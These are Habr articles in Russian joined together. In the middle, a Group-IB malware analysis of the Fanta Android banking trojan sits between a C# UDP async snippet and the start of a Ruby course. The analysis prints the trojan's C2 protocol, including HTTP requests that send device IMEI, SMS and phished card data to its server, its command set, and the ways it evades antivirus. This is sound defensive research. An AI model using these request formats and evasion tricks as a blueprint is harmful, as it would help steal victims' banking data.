Сам словарик (ConcurrentDictionary используем вместо Dictionary для того, чтобы избежать проблем с кросспоточными вызовами):
```
private ConcurrentDictionary, TaskCompletionSource> \_tcsDictionary;
```
Тут есть момент, который заслуживает внимания — это метод-расширение WithCancellation(token). Он нужен для того, чтобы поддержать отмену операции при помощи CancellationToken, и отменяет задачу, возвращая исключение при превышении заданного таймаута.
```
static class TaskExtension
{
public static async Task WithCancellation(this Task task, CancellationToken cancellationToken)
{
var tcs = new TaskCompletionSource();
using (cancellationToken.Register(
s => ((TaskCompletionSource)s).TrySetResult(true), tcs))
if (task != await Task.WhenAny(task, tcs.Task))
throw new OperationCanceledException(cancellationToken);
return await task;
}
}
```
А вот и сам цикл чтения: читаем, пока хватит сил, и если пришедшая датаграмма имеет адресом соединение, ключ с параметрами которого мы уже занесли в словарик, то результат помещается в TaskCompletionSource по этому ключу, и мы переходим обратно в метод посылки сообщения на await tcs.Task, только уже имея на руках нужный результат от устройства, этот результат и вернем в место вызова.
```
Task.Run(() =>
{
IPEndPoint ipEndPoint = null;
while (true)
{
try
{
var receivedBytes = _client.Receive(ref ipEndPoint);
TaskCompletionSource tcs;
if (\_tcsDictionary.TryGetValue(ipEndPoint, out tcs)) tcs.SetResult(receivedBytes);
}
catch (SocketException)
{
;//при невозможности соединения продолжаем работать
}
}
});
```
Итог радует. Вот так async-await упростил задачу опроса множества устройств по протоколу UDP.
**Update 1**
Как было справедливо отмечено в комментариях, метод SendReceiveUdpAsync необходимо обернуть в try{} finally{}, чтобы в случае отмены задачи и выброса исключения удалялось значение из словарика.
**Update 2**
Использование Reactive Extensions для той же задачи
[habrahabr.ru/post/238445](http://habrahabr.ru/post/238445/) | https://habr.com/ru/post/238377/ | null | ru | null |
# Лейся, Fanta: новая тактика старенького Android-трояна

Однажды вы захотите продать что-нибудь на Avito и, выложив подробное описание своего товара (например, модуль оперативной памяти), получите вот такое сообщение:
Открыв ссылку, вы увидите с виду довольно безобидную страницу, уведомляющую вас, счастливого и успешного продавца, о совершении покупки:

После того, как вы нажали кнопку “Продолжить”, на ваше Android-устройство будет загружен APK-файл с иконкой и названием, внушающим доверие. Вы установили приложение, которое почему-то запросило права AccessibilityService, потом появились и быстро исчезли пара окон и… Все.
Вы заходите проверить свой баланс, но ваше банковское приложение почему-то снова запрашивает данные вашей карты. После ввода данных случается страшное: по какой-то пока еще непонятной для вас причине деньги начинают исчезать с вашего счета. Вы пытаетесь решить проблему, но ваш телефон сопротивляется: сам нажимает на клавиши “Назад” и “Домой”, не выключается и не дает активировать никакие средства защиты. В итоге вы остаетесь без денег, ваш товар не куплен, вы в замешательстве и задаетесь вопросом: что случилось?
Ответ прост: вы стали жертвой Android-трояна Fanta, семейства Flexnet. Как же так вышло? Сейчас объясним.
Авторы: **Андрей Половинкин**, младший специалист по анализу вредоносного кода, **Иван Писарев**, специалист по анализу вредоносного кода.
Немного статистики
------------------
Впервые о семействе Android-троянов Flexnet стало известно еще в 2015 году. За достаточно долгий период активности семейство расширилось до нескольких подвидов: Fanta, Limebot, Lipton и т.д. Троян, как и связанная с ним инфраструктура, не стоят на месте: разрабатываются новые эффективные схемы распространения — в нашем случае качественные фишинговые страницы, нацеленные на конкретного пользователя-продавца, а разработчики трояна следуют модным трендам вирусописания — добавляют новые функциональные возможности, позволяющие эффективнее воровать деньги с зараженных устройств и обходить механизмы защиты.
Описываемая в данной статье кампания нацелена на пользователей из России, небольшое количество зараженных устройств зафиксировано на Украине, еще меньше — в Казахстане и Беларуси.
Несмотря на то, что Flexnet находится на арене Android-троянов уже более 4 лет и подробно изучен многими исследователями, он все еще в хорошей форме. Начиная с января 2019 года потенциальная сумма ущерба составляет более 35 миллионов рублей — и это только по кампаниям в России. В 2015 году различные версии данного Android-трояна продавались на андеграундных форумах, там же можно было найти и исходный код трояна с подробным описанием. А это значит, что статистика ущерба в мире еще внушительнее. Неплохой показатель для такого старичка, не так ли?

От продажи до обмана
--------------------
Как видно из представленного ранее скриншота фишинговой страницы под Интернет-сервис для размещения объявлений Avito, она готовилась под конкретную жертву. Судя по всему, злоумышленники используют один из парсеров Avito, вытаскивающий телефонный номер и имя продавца, а также описание товара. После разворачивания страницы и подготовки APK-файла жертве отправляется СМС-сообщение с его именем и ссылкой на фишинговую страницу, содержащую описание ее товара и суммы, полученной с “продажи” товара. Нажав на кнопку, пользователь получает вредоносный APK-файл — Fanta.
Исследование домена shcet491[.]ru показало, что он делегирован на DNS-серверы компании Hostinger:
* ns1.hostinger.ru
* ns2.hostinger.ru
* ns3.hostinger.ru
* ns4.hostinger.ru
Файл зоны домена содержит записи, указывающие на IP-адреса 31.220.23[.]236, 31.220.23[.]243 и 31.220.23[.]235. Однако основная ресурсная запись домена (A-запись) указывает на сервер с IP-адресом 178.132.1[.]240.
IP-адрес 178.132.1[.]240 расположен в Нидерландах и принадлежит хостеру **WorldStream**. IP-адреса 31.220.23[.]235, 31.220.23[.]236 и 31.220.23[.]243 расположены в Великобритании и принадлежат серверу виртуального хостинга HOSTINGER. В качестве регистратора используется **openprov-ru**. На IP-адрес 178.132.1[.]240 также резолвились домены:
* sdelka-ru[.]ru
* tovar-av[.]ru
* av-tovar[.]ru
* ru-sdelka[.]ru
* shcet382[.]ru
* sdelka221[.]ru
* sdelka211[.]ru
* vyplata437[.]ru
* viplata291[.]ru
* perevod273[.]ru
* perevod901[.]ru
Следует отметить, что почти со всех доменов были доступны ссылки следующего формата:
**http://(www.){0,1}<%domain%>/[0-9]{7}**
Под данный шаблон также попадает ссылка из СМС-сообщения. По историческим данным было обнаружено, что одному домену соответствует несколько ссылок по вышеописанному шаблону, что говорит об использовании одного домена для распространения трояна нескольким жертвам.
Забежим немного вперед: в качестве управляющего сервера загруженный по ссылке из СМС троян использует адрес **onuseseddohap[.]club**. Данный домен был зарегистрирован 2019-03-12, и начиная с 2019-04-29 происходило взаимодействие APK-приложений с данным доменом. Опираясь на данные, полученные с VirusTotal, всего с данным сервером взаимодействовало 109 приложений. Сам домен резолвился на IP-адрес **217.23.14[.]27**, расположенный в Нидерландах и принадлежащий хостеру **WorldStream**. В качестве регистратора используется **namecheap**. На данный IP-адрес также резолвились домены **bad-racoon[.]club** (начиная с 2018-09-25) и **bad-racoon[.]live** (начиная с 2018-10-25). С доменом **bad-racoon[.]club** взаимодействовало более 80 APK-файлов, с **bad-racoon[.]live** — более 100.
В целом, ход атаки выглядит следующим образом:
 Что у Fanta под крышкой?
------------------------
Как и многие другие андроид-трояны, Fanta способна читать и отправлять СМС-сообщения, совершать USSD-запросы, демонстрировать собственные окна поверх приложений (в том числе банковских). Однако в арсенале функциональных возможностей данного семейства прибыло: Fanta начала использовать **AccessibilityService** для разных целей: чтение содержимого уведомлений других приложений, предотвращение обнаружения и остановки исполнения трояна на зараженном устройстве и т.д. Fanta работает на всех версиях Android не моложе 4.4. В данной статье мы подробнее рассмотрим следующий Fanta-семпл:
* **MD5**: 0826bd11b2c130c4c8ac137e395ac2d4
* **SHA1**: ac33d38d486ee4859aa21b9aeba5e6e11404bcc8
* **SHA256**: df57b7e7ac6913ea5f4daad319e02db1f4a6b243f2ea6500f83060648da6edfb
Сразу после запуска
-------------------
Непосредственно после запуска троян скрывает свою иконку. Работа приложения возможна только в том случае, если имя зараженного устройства не находится в списке:
* android\_x86
* VirtualBox
* Nexus 5X(bullhead)
* Nexus 5(razor)
Данная проверка производится в главном сервисе трояна — **MainService**. При первом запуске происходит инициализация конфигурационных параметров приложения значениями по умолчанию (о формате хранения конфигурационных данных и их значении будет рассказано позже), а также регистрация нового зараженного устройства на управляющем сервере. На сервер будет отправлен HTTP POST-запрос с типом сообщения **register\_bot** и информацией о зараженном устройстве (версия Android, IMEI, номер телефона, имя оператора и код страны, в которой зарегистрирован оператор). В качестве управляющего сервера выступает адрес **hXXp://onuseseddohap[.]club/controller.php**. В ответ сервер отправляет сообщение, в котором содержатся поля **bot\_id**, **bot\_pwd**, **server** — эти значения приложение сохраняет в качестве параметров CnC-сервера. Параметр **server** необязательный, если поле не было получено: Fanta использует адрес регистрации — **hXXp://onuseseddohap[.]club/controller.php**. Функция изменения CnC-адреса может быть применена для решения двух задач: равномерного распределения нагрузки между несколькими серверами (при большом количестве зараженных устройств нагрузка на неоптимизированный веб-сервер может быть высокой), а также для использования альтернативного сервера в случае отказа одного из CnC-серверов.
Если во время отправления запроса возникла ошибка, троян повторит процесс регистрации через 20 секунд.
После успешной регистрации устройства Fanta выведет пользователю следующее сообщение:

Важное замечание: сервис под названием **Безопасность системы** — наименование сервиса трояна, и после нажатия на кнопку **ОК** будет открыто окно с настройками Accessibility зараженного устройства, где пользователь должен сам выдать Accessibility-права для вредоносного сервиса:

Как только пользователь включает **AccessibilityService**, Fanta получает доступ к содержимому окон приложений и действиям, производимым в них:

Сразу после получения Accessibility-прав троян запрашивает права администратора и права на чтение уведомлений:

При помощи AccessibilityService приложение имитирует нажатия клавиш, тем самым выдавая себе все необходимые права.
Fanta создает несколько экземпляров баз данных (которые будут описаны позже), необходимых для сохранения конфигурационных данных, а также собранной в процессе информации о зараженном устройстве. Для отправления собранной информации троян создает повторяющуюся задачу, предназначенную для выгрузки полей из базы данных и получения команды от управляющего сервера. Интервал обращения к CnC устанавливается в зависимости от версии Android: в случае 5.1 интервал составит 10 секунд, иначе 60 секунд.
Для получения команды Fanta осуществляет запрос **GetTask** на управляющий сервер. В ответ CnC может отправить одну из следующих команд:
| Команда | Описание |
| --- | --- |
| 0 | Отправить СМС-сообщение |
| 1 | Выполнить телефонный звонок или USSD-команду |
| 2 | Обновляет параметр **interval** |
| 3 | Обновляет параметр **intercept** |
| 6 | Обновляет параметр **smsManager** |
| 9 | Начать сбор СМС-сообщений |
| 11 | Сбросить телефон до заводских настроек |
| 12 | Включение/Выключение логирования создания диалоговых окон |
Fanta также собирает уведомления от 70 приложений банков, систем быстрых платежей и электронных кошельков и сохраняет их в базу данных.
Хранение конфигурационных параметров
------------------------------------
Для хранения конфигурационных параметров Fanta использует стандартный подход для платформы Android — **Preferences**-файлы. Настройки будут сохранены в файл с именем **settings**. Описание сохраняемых параметров находится в таблице ниже.
| Имя | Значение по умолчанию | Возможные значения | Описание |
| --- | --- | --- | --- |
| id | 0 | Integer | Идентификатор бота |
| server | hXXp://onuseseddohap[.]club/ | URL | Адрес управляющего сервера |
| pwd | - | String | Пароль для сервера |
| interval | 20 | Integer | Временной интервал. Показывает, на сколько нужно отложить выполнение следующих задач:* При отправке запроса о статусе отправленного СМС-сообщения
* Получение новой команды от управляющего сервера
|
| intercept | all | all/telNumber | Если поле равно строке **all** или **telNumber**, тогда полученное СМС-сообщение будет перехвачено приложением и не показано пользователю |
| smsManager | 0 | 0/1 | Включение/выключение приложения в качестве получателя СМС по умолчанию |
| readDialog | false | True/false | Включение/Выключение логирования событий **AccessibilityEvent** |
Также Fanta использует файл **smsManager**:
| Имя | Значение по умолчанию | Возможные значения | Описание |
| --- | --- | --- | --- |
| pckg | - | String | Имя используемого менеджера СМС-сообщений |
Взаимодействие с базами данных
------------------------------
В процессе своей работы троян использует две базы данных. База данных с именем **a** используется для хранения различной информации, собранной с телефона. Вторая база данных носит имя **fanta.db** и используется для сохранения настроек, отвечающих за создание фишинговых окон, предназначенных для сбора информации о банковских картах.
Троян использует базу данных **а** для хранения собираемой информации и логирования своих действий. Данные хранятся в таблице **logs**. Для создания таблицы используется следующий SQL-запрос:
```
create table logs ( _id integer primary key autoincrement, d TEXT, f TEXT, p TEXT, m integer)
```
В базе данных содержится следующая информация:
1. Логирование включения зараженного устройства сообщением **Телефон включился!**
2. Уведомления от приложений. Сообщение формируется по следующему шаблону:
```
(<%App Name%>)<%Title%>: <%Notification text%>
```
3. Данные банковских карт из создаваемых трояном фишинговых форм. Параметр **VIEW\_NAME** может быть одним из списка:
* AliExpress
* Avito
* Google Play
* Разное <%App Name%>
Сообщение логируется в формате:
```
[<%Time in format HH:mm:ss dd.MM.yyyy%>](<%VIEW_NAME%>) Номер карты:<%CARD_NUMBER%>; Дата:<%MONTH%>/<%YEAR%>; CVV: <%CVV%>
```
4. Входящие/исходящие СМС-сообщения в формате:
```
([<%Time in format HH:mm:ss dd.MM.yyyy%>] Тип: Входящее/Исходящее) <%Mobile number%>:<%SMS-text%>
```
5. Информация о пакете, создающем диалоговое окно в формате:
```
(<%Package name%>)<%Package information%>
```
Пример таблицы **logs**:

Одной из функциональных возможностей Fanta является сбор информации о банковских картах. Сбор данных происходит за счет создания фишинговых окон при открытии банковских приложений. Троян создает фишинговое окно только один раз. Информация о том, что окно было показано пользователю, сохраняется в таблице **settings** в базе данных **fanta.db**. Для создания базы данных используется следующий SQL-запрос:
```
create table settings (can_login integer, first_bank integer, can_alpha integer, can_avito integer, can_ali integer, can_vtb24 integer, can_telecard integer, can_another integer, can_card integer);
```
Все поля таблицы **settings** по умолчанию инициализируются значением 1 (создать фишинговое окно). После того, как пользователь введет свои данные, значение будет установлено в 0. Пример полей таблицы **settings**:
* **can\_login** — поле отвечает за показ формы при открытии банковского приложения
* **first\_bank** — не используется
* **can\_avito** — поле отвечает за показ формы при открытии приложения Avito
* **can\_ali** — поле отвечает за показ формы при открытии приложения Aliexpress
* **can\_another** — поле отвечает за показ формы при открытии любого приложения из списка: **Юла, Pandao, Дром Авто, Кошелёк. Скидочные и бонусные карты, Aviasales, Booking, Trivago**
* **can\_card** — поле отвечает за показ формы при открытии **Google Play**
Взаимодействие с управляющим сервером
-------------------------------------
Сетевое взаимодействие с управляющим сервером происходит по протоколу HTTP. Для работы с сетью Fanta использует популярную библиотеку Retrofit. Запросы отправляются по адресу **hXXp://onuseseddohap[.]club/controller.php**. Адрес сервера может быть изменен при регистрации на сервере. В ответ от сервера могут прийти cookie. Fanta выполняет следующие запросы на сервер:
* Регистрация бота на управляющем сервере происходит один раз при первом запуске. На сервер отправляются следующие данные о зараженном устройстве:
**·** **Cookie** — полученные cookie от сервера (значение по умолчанию — пустая строка)
**·** **mode** — строковая константа **register\_bot**
**·** **prefix** — целочисленная константа **2**
**·** **version\_sdk** — формируется по следующему шаблону: **<%Build.MODEL%>/<%Build.VERSION.RELEASE%>(Avit)**
**·** **imei** — IMEI зараженного устройства
**·** **country** — код страны, в которой зарегистрирован оператор, в формате ISO
**·** **number** — номер телефона
**·** **operator** — имя оператора
Пример запроса, отправляемого на сервер:
```
POST /controller.php HTTP/1.1
Cookie:
Content-Type: application/x-www-form-urlencoded
Content-Length: 144
Host: onuseseddohap.club
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.6.0
mode=register_bot&prefix=2&version_sdk=<%VERSION_SDK%>&imei=<%IMEI%>&country=<%COUNTRY_ISO%>&number=<%TEL_NUMBER%>&operator=<%OPERATOR_NAME%>
```
В ответ на запрос сервер должен вернуть JSON-объект, содержащий следующие параметры:
**· bot\_id** — идентификатор зараженного устройства. В случае если bot\_id будет равен 0, Fanta повторно выполнит запрос.
**· bot\_pwd** — пароль для сервера.
**· server** — адрес управляющего сервера. Необязательный параметр. В случае если параметр не указан, будет использован адрес, сохраненный в приложении.
Пример JSON-объекта:
```
{
"response":[
{
"bot_id": <%BOT_ID%>,
"bot_pwd": <%BOT_PWD%>,
"server": <%SERVER%>
}
],
"status":"ok"
}
```
* Запрос на получение команды от сервера. На сервер отправляются следующие данные:
**·** **Cookie** — полученные cookie от сервера
**·** **bid** — id зараженного устройства, которое было получено при отправке запроса **register\_bot**
**·** **pwd** —пароль для сервера
**·** **divice\_admin** — поле определяет, были ли получены права администратора. Если права администратора были получены, поле равно **1**, иначе **0**
**·** **Accessibility** — статус работы Accessibility Service. Если служба была запущена, значение равно **1**, иначе **0**
**·** **SMSManager** — показывает, включен ли троян как приложение по умолчанию для получения СМС
**·** **screen** — отображает, в каком состоянии находится экран. Будет установлено значение **1**, если экран включен, иначе **0**;
Пример запроса, отправляемого на сервер:
```
POST /controller.php HTTP/1.1
Cookie:
Content-Type: application/x-www-form-urlencoded
Host: onuseseddohap.club
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.6.0
mode=getTask&bid=<%BID%>&pwd=<%PWD%>&divice_admin=<%DEV_ADM%>&Accessibility=<%ACCSBL%>&SMSManager=<%SMSMNG%>&screen=<%SCRN%>
```
В зависимости от команды сервер может вернуть JSON-объект с разными параметрами:
**·** Команда **Отправить СМС-сообщение**: В параметрах содержится номер телефона, текст СМС-сообщения и идентификатор отправляемого сообщения. Идентификатор используется при отправке сообщения на сервер с типом **setSmsStatus**.
```
{
"response":
[
{
"mode": 0,
"sms_number": <%SMS_NUMBER%>,
"sms_text": <%SMS_TEXT%>,
"sms_id": %SMS_ID%
}
],
"status":"ok"
}
```
**·** Команда **Выполнить телефонный звонок или USSD-команду**: Номер телефона или команда приходит в теле ответа.
```
{
"response":
[
{
"mode": 1,
"command": <%TEL_NUMBER%>
}
],
"status":"ok"
}
```
**·** Команда **Изменить параметр interval**.
```
{
"response":
[
{
"mode": 2,
"interval": <%SECONDS%>
}
],
"status":"ok"
}
```
**·** Команда **Изменить параметр intercept**.
```
{
"response":
[
{
"mode": 3,
"intercept": "all"/"telNumber"/<%ANY_STRING%>
}
],
"status":"ok"
}
```
**·** Команда **Изменить поле SmsManager**.
```
{
"response":
[
{
"mode": 6,
"enable": 0/1
}
],
"status":"ok"
}
```
**·** Команда **Выполнить сбор СМС-сообщений с зараженного устройства**.
```
{
"response":
[
{
"mode": 9
}
],
"status":"ok"
}
```
**·** Команда **Сбросить телефон до заводских настроек**:
```
{
"response":
[
{
"mode": 11
}
],
"status":"ok"
}
```
**·** Команда **Изменить параметр ReadDialog**.
```
{
"response":
[
{
"mode": 12,
"enable": 0/1
}
],
"status":"ok"
}
```
* Отправка сообщения с типом **setSmsStatus**. Данный запрос осуществляется после исполнения команды **Отправить СМС-сообщение**. Запрос выглядит следующим образом:
```
POST /controller.php HTTP/1.1
Cookie:
Content-Type: application/x-www-form-urlencoded
Host: onuseseddohap.club
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.6.0
mode=setSmsStatus&id=<%ID%>&status_sms=<%PWD%>
```
* Отправка содержимого базы данных. За один запрос передается одна строка. На сервер отправляются следующие данные:
**·** **Cookie** — полученные cookie от сервера
**·** **mode** — строковая константа **setSaveInboxSms**
**·** **bid** — id зараженного устройства, которое было получено при отправке запроса **register\_bot**
**·** **text** — текст в текущей записи БД (поле **d** из таблицы **logs** в базе данных **а**)
**·** **number** — наименование текущей записи БД (поле **p** из таблицы **logs** в базе данных **а**)
**·** **sms\_mode** — целочисленное значение (поле **m** из таблицы **logs** в базе данных **а**)
Запрос выглядит следующим образом:
```
POST /controller.php HTTP/1.1
Cookie:
Content-Type: application/x-www-form-urlencoded
Host: onuseseddohap.club
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.6.0
mode=setSaveInboxSms&bid=<%APP_ID%>&text=<%a.logs.d%>&number=<%a.logs.p%>&sms_mode=<%a.logs.m%>
```
При успешной отправке на сервер строка будет удалена из таблицы. Пример JSON-объекта, возвращаемого сервером:
```
{
"response":[],
"status":"ok"
}
```
Взаимодействие с AccessibilityService
-------------------------------------
AccessibilityService был реализован для облегчения использования Android-устройств людьми с ограниченными возможностями. В большинстве случаев для взаимодействия с приложением необходимо физическое взаимодействие. AccessibilityService позволяет сделать их программно. Fanta использует сервис для создания поддельных окон в банковских приложениях и препятствия открытию настроек системы и некоторых приложений.
Используя функциональные возможности AccessibilityService, троян отслеживает изменения элементов на экране зараженного устройства. Как уже было ранее описано, в настройках Fanta содержится параметр, отвечающий за логирование операций с диалоговыми окнами — **readDialog**. Если данный параметр установлен, в базу данных будет добавлена информация о названии и описании пакета, который инициировал событие. Троян выполняет следующие действия при срабатывании событий:
* Имитирует нажатие клавиш назад и домой в случае:
**·** если пользователь хочет перезагрузить свое устройство
**·** если пользователь хочет удалить приложение “Avito” или изменить права доступа
**·** если на странице есть упоминание о приложении “Avito”
**·** при открытии приложения “Google Play Защита”
**·** при открытии страниц с настройками AccessibilityService
**·** при возникновении диалогового окна “Безопасность системы”
**·** при открытии страницы с настройками “Draw over other app”
**·** при открытии страницы “Приложения”, “Восстановление и сброс”, “Сброс данных”, “Сброс настроек”, “Панель разработчиков”, “Спец. возможности”, “Специальные возможности”, “Особые права”
**·** если событие было сгенерировано определенными приложениями.
**Список приложений**
+ android
+ Master Lite
+ Clean Master
+ Clean Master for x86 CPU
+ Meizu Applicatiom Permission Management
+ MIUI Security
+ Clean Master — Антивирус & Очистка кэша и мусора
+ Родительский контроль и GPS: Kaspersky SafeKids
+ Kaspersky Antivirus AppLock & Web Security Beta
+ Virus Cleaner, Antivirus, Cleaner (MAX Security)
+ Mobile AntiVirus Security PRO
+ Avast антивирус & бесплатная защита 2019
+ Mobile Security МегаФон
+ AVG Protection для Xperia
+ Мобильная Безопасность
+ Malwarebytes антивирус & защита
+ Антивирус на Андроид 2019
+ Security Master — Antivirus, VPN, AppLock, Booster
+ AVG антивирус для планшета Huawei System Manager
+ Samsung Accessibility
+ Samsung Smart Manager
+ Security Master
+ Speed Booster
+ Dr.Web
+ Dr.Web Security Space
+ Dr.Web Mobile Control Center
+ Dr.Web Security Space Life
+ Dr.Web Mobile Control Center
+ Antivirus & Mobile Security
+ Kaspersky Internet Security: Антивирус и Защита
+ Kaspersky Battery Life: Saver & Booster
+ Kaspersky Endpoint Security — защита и управление
+ AVG Антивирус бесплатно 2019 – Защита для Андроид
+ Antivirus Android
+ Norton Mobile Security and Antivirus
+ Антивирус, брандмауэр, VPN, мобильная безопасность
+ Mobile Security: антивирус, VPN, защита от кражи
+ Антивирус для Андроидa
* Если при отправке СМС-сообщения на короткий номер запрашивается разрешение, Fanta имитирует нажатие на checkbox **Запомнить выбор** и кнопку **отправить**.
* При попытке отобрать у трояна права администратора блокирует экран телефона.
* Препятствует добавлению новых администраторов.
* В случае если антивирусное приложение **dr.web** обнаружило угрозу, Fanta имитирует нажатие на кнопку **игнорировать**.
* Троян имитирует нажатие на кнопку назад и домой, если событие было сгенерировано приложением **Samsung Device Care**.
* Fanta создает фишинговые окна с формами для ввода информации о банковских картах, если было запущено приложение из списка, включающего порядка 30 различных Интернет-сервисов. Среди них: AliExpress, Booking, Avito, Компонент Google Play Market, Pandao, Дром Авто и др.
Фишинговые формы
----------------
Fanta анализирует, какие приложения запускаются на зараженном устройстве. Если было открыто интересующее приложение, троян демонстрирует фишинговое окно поверх всех остальных, которое представляет собой форму для ввода информации о банковской карте. Пользователю необходимо ввести следующие данные:
+ Номер карты
+ Срок действия карты
+ CVV
+ Имя держателя карты (не для всех банков)
В зависимости от запущенного приложения будут продемонстрированы разные фишинговые окна. Далее будут представлены примеры некоторых из них:
**Aliexpress:**

**Avito:**

**Для некоторых других приложений, например** Google Play Market, Aviasales, Pandao, Booking, Trivago:

Как все было на самом деле
--------------------------
К счастью, человек, получивший описанное в начале статьи СМС-сообщение, оказался специалистом в области кибербезопасности. Поэтому реальная, не режиссерская, версия отличается от рассказанной ранее: человек получил интересное СМС, после чего отдал его команде Group-IB Threat Hunting Intelligence. Результат атаки — данная статья. Счастливая концовка, не так ли? Однако, далеко не все истории заканчиваются так удачно, и, чтобы ваша не была похожа на режиссерскую версию с потерей денег, в большинстве случаев достаточно придерживаться следующих, давно описанных правил:
+ не устанавливать приложения для мобильного устройства с ОС Android из каких-либо источников, кроме Google Play
+ при установке приложения обращать особое внимание на запрашиваемые приложением права
+ обращать внимание на расширения загружаемых файлов
+ регулярно устанавливать обновления ОС Android
+ не посещать подозрительные ресурсы и не скачивать оттуда файлы
+ не переходить по ссылкам, полученным в СМС-сообщениях.
В Group-IB знают о киберпреступности всё, но рассказывают самое интересное.
Остросюжетный Telegram-канал (https://t.me/Group\_IB) об информационной безопасности, хакерах и кибератаках, хактивистах и интернет-пиратах. Расследования нашумевших киберпреступлений по шагам, практические кейсы с применением технологий Group-IB и, конечно, рекомендации, как не стать жертвой в интернете.
YouTube-канал [тут](https://www.youtube.com/channel/UCHl7R4F66A_B0S-WH42ZD6Q)
Фотолента Group-IB в Instagram [www.instagram.com/group\_ib](http://www.instagram.com/group_ib)
Короткие новости в Twitter twitter.com/GroupIB
Компания Group-IB — один из ведущих разработчиков решений для детектирования и предотвращения кибератак, выявления мошенничества и защиты интеллектуальной собственности в сети со штаб-квартирой в Сингапуре. | https://habr.com/ru/post/466973/ | null | ru | null |
# Курс по Ruby+Rails. Часть 1. Императивное программирование
Введение от автора
------------------
> «У множества языков есть веб-фреймворки, но Rails есть только у Ruby».
>
> *Кирилл Мокевнин, основатель Hexlet*
>
>
Перешедший из весовой категории «новенький и блестящий» в ранг «проверенный временем и надёжный», Ruby упорно не желает отправляться в рай для красивых языков программирования.
Он сочетает в себе структурный, объектный и функциональный стили программирования, обладает лаконичным синтаксисом и ясными грамматиками, построен по «принципу наименьшего удивления». Ruby позволяет воплощать в изящном и легко читаемом коде любые изыски алгоритмической и технологической мысли.
Огромное количество накопленного в книгах по Ruby-разработке теоретического и практического знания позволяет использовать язык во множестве решений — от преподавания программирования и теории вычислений в вузах до промышленного программирования веб-сервисов и ERP-систем. Фреймворк Ruby on Rails год за годом остаётся одним из флагманов веб-разработки. Он позволяет собирать системы разного уровня сложности — от личного блога до гетерогенных микросервисных платформ. Опираясь на свойства Ruby как языка, компоненты и инструменты Rails делают разработку сложных веб-сервисов технологичным и эффективным процессом, в котором уютно себя чувствует и разработчик, и менеджер.
Компания Evrone работает на рынке веб-разработки уже 13 лет. Ruby on Rails — одна из технологий, которую мы используем часто, поэтому накопили внушительный багаж знаний — от продвинутых приёмов программирования на Ruby до эффективного использования «магии» Rails. Чтобы делиться этими знаниями, мы запускали в тестовом режиме Evrone Academy — платформу для обучения программированию. Сейчас она на паузе, но мы хотим публично поделиться лекциями и знаниями с теми, кто хочет поближе познакомиться с Ruby уже сейчас, в привычной хабра-обстановке.
Этот курс рассчитан на тех, у кого уже есть базовые навыки и знания в области структурного и объектно-ориентированного программирования. Это ваш «второй курс» по Ruby on Rails.
Он начинается с обзора продвинутых свойств Ruby в трёх основных стилях программирования — структурно-императивном, объектно-ориентированном и функциональном. Затем мы перейдём к разработке на фреймворке Ruby on Rails — начнём с введения в его фундаментальные концепции, компоненты и их свойства, разберем инструменты и библиотеки, важные в повседневной практике, и пройдёмся по продвинутым техникам, высокотехнологичным приёмам и архитектурным паттернам.
Надеюсь, с нашим курсом вам не будет скучно.
##### Павел Аргентов
Ruby Lead и ментор в Evrone, автор курса
---
Текстовая версия
----------------
Различают несколько основных стилей программирования:
* императивный
* декларативный
* функциональный
* объектно-ориентированный
В Ruby можно использовать любой из них, потому что Ruby — чистый объектно-ориентированный язык, в которым *любые объекты можно наделить любым поведением*, нужным в конкретной программе. Сегодня мы поговорим про самый простой, императивный стиль программирования.
В этом стиле мы последовательно приказываем машине, что и в какой последовательности мы хотим делать. Например — «выведи что-то в консоль, а теперь сделай то-то». В этом случае машина последовательно исполняет *инструкции*, которые мы подготовили и описали. На примере видим инструкцию «выведи в консоль Hello World»:
```
puts 'Hello world!'
puts 'Hello world!'
puts 'И Вы, программист, тоже здравствуйте'
```
Инструкций может быть много, они могут помещаться на разных строках или на одной и той же, но тогда их надо разделять точкой с запятой:
```
puts 'Hello world!'; puts 'Прекрасная погодка нынче!'
```
Ruby — умный язык. Всегда, в том числе когда мы работаем в нём в самом простом стиле, он воспринимает текст программы как комбинацию выражений. Все приведенные ранее примеры — это выражения. Они отличаются от инструкций тем, что язык не только исполняет прямые указания, но и вычисляет. Каждое выражение порождает какие-то значения, возвращает какой-то результат. Проще всего это увидеть в интерактивной оболочке Ruby:
```
[1] pry(main)> puts 'Hello world!'
Hello world!
=> nil
```
Выполненное выражение напечатало нужное сообщение в консоль, а ещё вычислило значение `nil` — пустой объект. Можете поэкспериментировать с интерактивным режимом на своей машине и посмотреть, как Ruby выполняет разные выражения.
Технически, всё в Ruby — это выражения, даже если они ведут себя как инструкции и возвращают пустой объект — `nil`. Сейчас для нас это не особенно важно, но мы вернёмся к этому в следующих уроках, когда будем разбирать более сложный код.
Теперь поговорим о переменных. Переменную можно представить себе как контейнер, куда программа помещает какое-то значение и работает с ним: хранит, изменят, передаёт для выполнения различных операций. В следующем примере две переменные: `a` и `b`. То что написано слева от оператора присваивания — это имя переменной. Справа — значение переменной. Мы связали значение `42` с переменной `a` и значение `21` с переменной `b`:
```
a = 42
b = 21
```
Переменные могут участвовать в вычислениях. Например — «возьми значение переменной `a` и сложи со значением переменной `b`, а результат запиши в переменную `c`»:
```
c = a + b
```
В переменных могут храниться значения сложных выражений, например, результат интерполяции строк. Интерполяция работает для строк в двойных кавычках. В примере мы взяли строку и подставили в нужное место значение переменной `а`:
```
str = "Ответ на Главный вопрос жизни, вселенной и всего такого: #{a}"
```
Переменные можно использовать для передачи значений в методы. Например, мы в метод `puts` передаём значение переменной `str`:
```
[4] pry(main)> puts str
Ответ на Главный вопрос жизни, вселенной и всего такого: 42
=> nil
```
Имена пишутся латиницей. Они регистрочувствительны. Две переменные `a` и `A` не одинаковы. Язык будет работать с ними как с двумя разными переменными. Советую не злоупотреблять переменными с одинаковым названием в разном регистре, чтобы не запутаться.
Имя переменной не может начинаться с цифры, но может начинаться со знака подчёркивания. Если имя переменной начинается с большой буквы, то Ruby будет считать такую переменную константой. Кроме переменных именами обладают модули, классы, методы. Если имя переменной состоит из несколько слов, эти слова принято разделять знаком `_`. В именах констант для этого принято использовать «camel case», когда слова пишутся без пробелов, но все с большой буквы. Если все буквы имени заглавные, слова разделяют при помощи `_`:
`long_variable_name`
`_this_variable_i_will_not_use`
`LongClassNameForWhichTheColleaguesWillHateYou`
`CONSTANT_IS_STATIC`
